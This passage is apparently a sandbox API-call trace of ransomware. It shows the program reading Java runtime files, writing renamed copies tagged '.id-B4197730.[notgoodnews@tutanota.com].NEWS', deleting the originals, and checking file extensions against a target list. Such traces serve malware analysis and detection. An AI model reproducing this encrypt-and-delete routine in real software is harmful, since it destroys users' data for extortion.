SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.125] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.126] GetLastError () returned 0x0 [0165.126] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x848c, lpOverlapped=0x0) returned 1 [0165.144] WriteFile (in: hFile=0x518, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x8490, lpOverlapped=0x0) returned 1 [0165.146] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.146] WriteFile (in: hFile=0x518, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe8, lpOverlapped=0x0) returned 1 [0165.146] SetEndOfFile (hFile=0x518) returned 1 [0165.146] CloseHandle (hObject=0x518) returned 1 [0165.146] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.146] SetEndOfFile (hFile=0x4f4) returned 1 [0165.150] CloseHandle (hObject=0x4f4) returned 1 [0165.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.150] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0165.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.151] lstrlenW (lpString=".doc") returned 4 [0165.152] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.152] lstrlenW (lpString=".docx") returned 5 [0165.152] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0165.152] lstrlenW (lpString=".pdf") returned 4 [0165.152] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.152] lstrlenW (lpString=".xls") returned 4 [0165.152] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.152] lstrlenW (lpString=".xlsx") returned 5 [0165.152] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0165.152] lstrlenW (lpString=".ppt") returned 4 [0165.152] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.152] lstrlenW (lpString=".zip") returned 4 [0165.152] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.152] lstrlenW (lpString=".rar") returned 4 [0165.152] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.152] lstrlenW (lpString=".bz2") returned 4 [0165.152] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.152] lstrlenW (lpString=".7z") returned 3 [0165.152] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.152] lstrlenW (lpString=".dbf") returned 4 [0165.152] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.152] lstrlenW (lpString=".1cd") returned 4 [0165.152] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.152] lstrlenW (lpString=".jpg") returned 4 [0165.152] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.152] lstrlenW (lpString=".doc") returned 4 [0165.152] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.152] lstrlenW (lpString=".docx") returned 5 [0165.152] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0165.152] lstrlenW (lpString=".pdf") returned 4 [0165.153] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.153] lstrlenW (lpString=".xls") returned 4 [0165.153] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.153] lstrlenW (lpString=".xlsx") returned 5 [0165.153] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0165.153] lstrlenW (lpString=".ppt") returned 4 [0165.153] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.153] lstrlenW (lpString=".zip") returned 4 [0165.153] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.153] lstrlenW (lpString=".rar") returned 4 [0165.153] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.153] lstrlenW (lpString=".bz2") returned 4 [0165.153] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.153] lstrlenW (lpString=".7z") returned 3 [0165.153] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.153] lstrlenW (lpString=".dbf") returned 4 [0165.153] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.153] lstrlenW (lpString=".1cd") returned 4 [0165.153] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0165.153] lstrlenW (lpString=".jpg") returned 4 [0165.153] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.153] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0165.153] lstrlenW (lpString="logging.properties") returned 18 [0165.153] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.154] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2455) returned 1 [0165.154] CloseHandle (hObject=0x4f4) returned 1 [0165.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0165.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.155] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.155] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.156] GetLastError () returned 0x0 [0165.156] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x997, lpOverlapped=0x0) returned 1 [0165.167] WriteFile (in: hFile=0x518, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0165.168] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.168] WriteFile (in: hFile=0x518, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xf8, lpOverlapped=0x0) returned 1 [0165.168] SetEndOfFile (hFile=0x518) returned 1 [0165.168] CloseHandle (hObject=0x518) returned 1 [0165.169] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.169] SetEndOfFile (hFile=0x4f4) returned 1 [0165.172] CloseHandle (hObject=0x4f4) returned 1 [0165.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.172] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0165.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.173] lstrlenW (lpString=".doc") returned 4 [0165.173] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0165.173] lstrlenW (lpString=".docx") returned 5 [0165.173] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0165.173] lstrlenW (lpString=".pdf") returned 4 [0165.173] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0165.173] lstrlenW (lpString=".xls") returned 4 [0165.173] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0165.173] lstrlenW (lpString=".xlsx") returned 5 [0165.173] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0165.173] lstrlenW (lpString=".ppt") returned 4 [0165.173] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0165.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.173] lstrlenW (lpString=".zip") returned 4 [0165.173] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0165.173] lstrlenW (lpString=".rar") returned 4 [0165.173] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0165.173] lstrlenW (lpString=".bz2") returned 4 [0165.173] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0165.173] lstrlenW (lpString=".7z") returned 3 [0165.173] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0165.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.173] lstrlenW (lpString=".dbf") returned 4 [0165.173] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0165.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.173] lstrlenW (lpString=".1cd") returned 4 [0165.174] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.174] lstrlenW (lpString=".jpg") returned 4 [0165.174] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.174] lstrlenW (lpString=".doc") returned 4 [0165.174] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString=".docx") returned 5 [0165.174] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0165.174] lstrlenW (lpString=".pdf") returned 4 [0165.174] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString=".xls") returned 4 [0165.174] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString=".xlsx") returned 5 [0165.174] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0165.174] lstrlenW (lpString=".ppt") returned 4 [0165.174] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.174] lstrlenW (lpString=".zip") returned 4 [0165.174] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString=".rar") returned 4 [0165.174] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString=".bz2") returned 4 [0165.174] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString=".7z") returned 3 [0165.174] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0165.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.174] lstrlenW (lpString=".dbf") returned 4 [0165.174] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0165.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.174] lstrlenW (lpString=".1cd") returned 4 [0165.174] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0165.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0165.175] lstrlenW (lpString=".jpg") returned 4 [0165.175] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0165.175] lstrcmpiW (lpString1=".access", lpString2=".NEWS") returned -1 [0165.175] lstrlenW (lpString="jmxremote.access") returned 16 [0165.175] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.177] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3998) returned 1 [0165.178] CloseHandle (hObject=0x4f4) returned 1 [0165.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0165.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.178] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.178] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.178] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.178] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.189] GetLastError () returned 0x0 [0165.189] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xf9e, lpOverlapped=0x0) returned 1 [0165.192] WriteFile (in: hFile=0x518, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0165.194] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.194] WriteFile (in: hFile=0x518, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xf4, lpOverlapped=0x0) returned 1 [0165.194] SetEndOfFile (hFile=0x518) returned 1 [0165.198] CloseHandle (hObject=0x518) returned 1 [0165.198] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.198] SetEndOfFile (hFile=0x4f4) returned 1 [0165.201] CloseHandle (hObject=0x4f4) returned 1 [0165.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.202] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0165.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.205] lstrlenW (lpString=".doc") returned 4 [0165.205] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0165.205] lstrlenW (lpString=".docx") returned 5 [0165.205] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0165.205] lstrlenW (lpString=".pdf") returned 4 [0165.205] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0165.205] lstrlenW (lpString=".xls") returned 4 [0165.205] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString=".xlsx") returned 5 [0165.206] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0165.206] lstrlenW (lpString=".ppt") returned 4 [0165.206] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.206] lstrlenW (lpString=".zip") returned 4 [0165.206] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString=".rar") returned 4 [0165.206] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString=".bz2") returned 4 [0165.206] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString=".7z") returned 3 [0165.206] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0165.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.206] lstrlenW (lpString=".dbf") returned 4 [0165.206] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.206] lstrlenW (lpString=".1cd") returned 4 [0165.206] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.206] lstrlenW (lpString=".jpg") returned 4 [0165.206] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.206] lstrlenW (lpString=".doc") returned 4 [0165.206] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0165.206] lstrlenW (lpString=".docx") returned 5 [0165.206] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0165.207] lstrlenW (lpString=".pdf") returned 4 [0165.207] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0165.207] lstrlenW (lpString=".xls") returned 4 [0165.207] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0165.207] lstrlenW (lpString=".xlsx") returned 5 [0165.207] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0165.207] lstrlenW (lpString=".ppt") returned 4 [0165.207] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0165.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.207] lstrlenW (lpString=".zip") returned 4 [0165.207] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0165.207] lstrlenW (lpString=".rar") returned 4 [0165.207] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0165.207] lstrlenW (lpString=".bz2") returned 4 [0165.207] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0165.207] lstrlenW (lpString=".7z") returned 3 [0165.207] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0165.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.207] lstrlenW (lpString=".dbf") returned 4 [0165.207] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0165.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.207] lstrlenW (lpString=".1cd") returned 4 [0165.207] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0165.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0165.207] lstrlenW (lpString=".jpg") returned 4 [0165.207] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0165.208] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0165.208] lstrlenW (lpString="management.properties") returned 21 [0165.208] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0165.655] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=14630) returned 1 [0165.655] CloseHandle (hObject=0x548) returned 1 [0165.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0165.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.667] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.667] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.667] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.668] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0165.677] GetLastError () returned 0x0 [0165.677] ReadFile (in: hFile=0x4e8, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x3926, lpOverlapped=0x0) returned 1 [0165.745] WriteFile (in: hFile=0x548, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x3930, lpOverlapped=0x0) returned 1 [0165.747] ReadFile (in: hFile=0x4e8, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.747] WriteFile (in: hFile=0x548, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xfe, lpOverlapped=0x0) returned 1 [0165.747] SetEndOfFile (hFile=0x548) returned 1 